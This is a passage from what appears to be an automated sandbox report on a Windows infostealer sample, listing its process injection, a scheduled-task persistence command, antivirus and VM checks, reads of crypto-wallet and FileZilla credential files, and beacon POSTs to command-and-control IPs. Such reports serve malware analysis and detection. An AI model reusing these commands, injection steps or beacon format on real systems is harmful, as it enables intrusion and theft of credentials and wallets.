RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {939659F3-71D2-461F-B24D-91D05A4389B4} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}	1
RegOpenKeyExW May 30, 2023, 1:37 p.m.	regkey_r: {9B84A461-3B4C-40E2-B44F-CE22E215EE40} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}	1

Terminates another process (4 events)

Time & API	Arguments	Status	Return
NtTerminateProcess May 30, 2023, 1:37 p.m.	status_code: 0xffffffff process_identifier: 1680 process_handle: 0x000002bc		0
NtTerminateProcess May 30, 2023, 1:37 p.m.	status_code: 0xffffffff process_identifier: 1680 process_handle: 0x000002bc	1	0
NtTerminateProcess May 30, 2023, 1:37 p.m.	status_code: 0xffffffff process_identifier: 1680 process_handle: 0x000002bc		0
NtTerminateProcess May 30, 2023, 1:37 p.m.	status_code: 0xffffffff process_identifier: 1680 process_handle: 0x000002bc		3221225738

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN legends.exe /TR "C:\Users\test22\AppData\Local\Temp\41bde21dc7\legends.exe" /F
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN legends.exe /TR "C:\Users\test22\AppData\Local\Temp\41bde21dc7\legends.exe" /F

Executes one or more WMI queries which can be used to identify virtual machines (1 event)

wmi	SELECT * FROM Win32_Processor

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: 524fd6a49e2698e0e4c4a23e3b177de62a57e757

Communicates with host for which no DNS query was performed (3 events)

host	185.99.133.246
host	83.97.73.127
host	95.214.27.98

Allocates execute permission to another process indicative of possible code injection (5 events)

Time & API	Arguments	Status	Return
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 1680 region_size: 229376 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000002bc		3221225496
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2116 region_size: 229376 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000002bc	1	0
NtAllocateVirtualMemory May 30, 2023, 1:38 p.m.	process_identifier: 2200 region_size: 229376 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000002bc	1	0
NtAllocateVirtualMemory May 30, 2023, 1:38 p.m.	process_identifier: 1944 region_size: 344064 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000002c	1	0
NtAllocateVirtualMemory May 30, 2023, 1:38 p.m.	process_identifier: 2084 region_size: 344064 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000002c	1	0

Attempts to identify installed AV products by installation directory (7 events)

file	C:\ProgramData\AVAST Software
file	C:\ProgramData\Avira
file	C:\ProgramData\Kaspersky Lab
file	C:\ProgramData\Panda Security
file	C:\ProgramData\Bitdefender
file	C:\ProgramData\AVG
file	C:\ProgramData\Doctor Web

Installs itself for autorun at Windows startup (5 events)

reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP000.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP001.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP002.TMP\"
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN legends.exe /TR "C:\Users\test22\AppData\Local\Temp\41bde21dc7\legends.exe" /F
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN legends.exe /TR "C:\Users\test22\AppData\Local\Temp\41bde21dc7\legends.exe" /F

Attempts to access Bitcoin/ALTCoin wallets (2 events)

file	C:\Users\test22\AppData\Roaming\Bitcoin\wallets
file	C:\Users\test22\AppData\Roaming\Electrum\wallets

Harvests credentials from local FTP client softwares (2 events)

file	C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file	C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml

Executes one or more WMI queries (8 events)

wmi	SELECT * FROM AntivirusProduct
wmi	SELECT * FROM Win32_VideoController
wmi	SELECT * FROM Win32_OperatingSystem
wmi	SELECT * FROM Win32_Process Where SessionId='1'
wmi	SELECT * FROM AntiSpyWareProduct
wmi	SELECT * FROM FirewallProduct
wmi	SELECT * FROM Win32_DiskDrive
wmi	SELECT * FROM Win32_Processor

Manipulates memory of a non-child process indicative of process injection (3 events)

Time & API	Arguments	Return	Repeated
Process injection	Process 1704 manipulating memory of non-child process 1680
NtUnmapViewOfSection May 30, 2023, 1:37 p.m.	base_address: 0x00400000 region_size: 118784 process_identifier: 1680 process_handle: 0x000002bc	3221225497	0
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 1680 region_size: 229376 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000002bc	3221225496	0

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory May 30, 2023, 1:38 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 1944 process_handle: 0x0000002c	1	1	0
WriteProcessMemory May 30, 2023, 1:38 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2084 process_handle: 0x0000002c	1	1	0

Collects information about installed applications (50 out of 120 events)

Time & API	Arguments	Status
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 7-Zip 20.02 alpha regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: EditPlus regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: MarkAny Inc. e-PageSafer V2.5 NoAX ( Basic )_2.5.1.18 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ePageSafer\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Chrome regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Mozilla Thunderbird 78.4.0 (x86 ko) regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office14.PROPLUS\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: TouchEn nxKey with E2E for 32bit regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\TouchEn nxKey\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: INISafeWeb 5.0 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\UnINISafeWeb\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: INISafeWeb 6.0 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\UnINISafeWeb6\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: HttpWatch Professional 9.3.39 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Delfino G3 (x86) version 3.6.6.5 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1CBD185A-9CB3-4f30-B7E4-75CC551455F9}_is1\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java 8 Update 131 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java Auto Updater regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: G2BRUN regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{5BEFEB79-2B4D-4EEE-9979-AFDE0A20FADE}_is1\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Google Update Helper regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: WIZVERA Process Manager 1,0,5,4 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{8941A397-4065-4F41-92CE-0EB610846EED}_is1\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0011-0000-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Access MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0015-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Excel MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0016-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office PowerPoint MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0018-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Publisher MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0019-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Outlook MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001A-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Word MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001B-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proof (English) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proof (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office IME (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0028-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-002C-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office InfoPath MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0044-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-006E-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office OneNote MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00A1-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Groove MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00BA-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 ActiveX regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 NPAPI regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Acrobat Reader DC MUI regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-FFFF-7B44-AC0F074E4100}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:37 p.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.24215 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}\DisplayName	1
RegQueryValueExW May 30, 2023, 1:38 p.m.	key_handle: 0x000002ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 7-Zip 20.02 alpha regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName	1
RegQueryValueExW May 30, 2023, 1:38 p.m.	key_handle: 0x000002ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName	1
RegQueryValueExW May 30, 2023, 1:38 p.m.	key_handle: 0x000002ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: EditPlus regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName	1
RegQueryValueExW May 30, 2023, 1:38 p.m.	key_handle: 0x000002ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: MarkAny Inc. e-PageSafer V2.5 NoAX ( Basic )_2.5.1.18 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ePageSafer\DisplayName	1
RegQueryValueExW May 30, 2023, 1:38 p.m.	key_handle: 0x000002ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Chrome regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	1
RegQueryValueExW May 30, 2023, 1:38 p.m.	key_handle: 0x000002ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName	1
RegQueryValueExW May 30, 2023, 1:38 p.m.	key_handle: 0x000002ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Mozilla Thunderbird 78.4.0 (x86 ko) regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)\DisplayName	1
RegQueryValueExW May 30, 2023, 1:38 p.m.	key_handle: 0x000002ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office14.PROPLUS\DisplayName	1
RegQueryValueExW May 30, 2023, 1:38 p.m.	key_handle: 0x000002ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: TouchEn nxKey with E2E for 32bit regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\TouchEn nxKey\DisplayName	1
RegQueryValueExW May 30, 2023, 1:38 p.m.	key_handle: 0x000002ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: INISafeWeb 5.0 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\UnINISafeWeb\DisplayName	1

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (8 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1704 called NtSetContextThread to modify thread in remote process 2116
Process injection	Process 3028 called NtSetContextThread to modify thread in remote process 2200
Process injection	Process 2876 called NtSetContextThread to modify thread in remote process 1944
Process injection	Process 944 called NtSetContextThread to modify thread in remote process 2084
NtSetContextThread May 30, 2023, 1:37 p.m.	registers.eip: 2001207748 registers.esp: 5701168 registers.edi: 0 registers.eax: 4281823 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000002b8 process_identifier: 2116	1	0	0
NtSetContextThread May 30, 2023, 1:38 p.m.	registers.eip: 2001207748 registers.esp: 4062304 registers.edi: 0 registers.eax: 4281823 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000002b8 process_identifier: 2200	1	0	0
NtSetContextThread May 30, 2023, 1:38 p.m.	registers.eip: 2001207748 registers.esp: 1703816 registers.edi: 0 registers.eax: 4331148 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000020 process_identifier: 1944	1	0	0
NtSetContextThread May 30, 2023, 1:38 p.m.	registers.eip: 2001207748 registers.esp: 4193932 registers.edi: 0 registers.eax: 4331148 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000020 process_identifier: 2084	1	0	0

Appends a known CryptoMix ransomware file extension to files that have been encrypted (1 event)

file	C:\Users\test22\AppData\Roaming\Exodus\exodus.wallet

A process performed obfuscation on information about the computer or sent it to a remote location indicative of CnC Traffic/Preperations. (12 events)

Time & API	Arguments	Status	Return
HttpSendRequestA May 30, 2023, 1:38 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.81&sd=2472b9&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=0	1	1
HttpSendRequestA May 30, 2023, 1:38 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.81&sd=2472b9&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=0	1	1
HttpSendRequestA May 30, 2023, 1:38 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.81&sd=2472b9&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=0	1	1
HttpSendRequestA May 30, 2023, 1:38 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.81&sd=2472b9&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=0	1	1
HttpSendRequestA May 30, 2023, 1:38 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.81&sd=2472b9&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=0	1	1
HttpSendRequestA May 30, 2023, 1:38 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.81&sd=2472b9&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=0	1	1
HttpSendRequestA May 30, 2023, 1:38 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.81&sd=2472b9&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=0	1	1
HttpSendRequestA May 30, 2023, 1:38 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.81&sd=2472b9&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=0	1	1
HttpSendRequestA May 30, 2023, 1:38 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.81&sd=2472b9&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=0	1	1
HttpSendRequestA May 30, 2023, 1:38 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.81&sd=2472b9&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=0	1	1
HttpSendRequestA May 30, 2023, 1:38 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.81&sd=2472b9&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=0	1	1
HttpSendRequestA May 30, 2023, 1:38 p.m.	headers: Content-Type: application/x-www-form-urlencoded request_handle: 0x00cc000c post_data: id=832866432405&vs=3.81&sd=2472b9&os=9&bi=1&ar=1&pc=TEST22-PC&un=test22&dm=&av=0&lv=0&og=0	1	1

Resumed a suspended thread in a remote process potentially indicative of process injection (8 events)

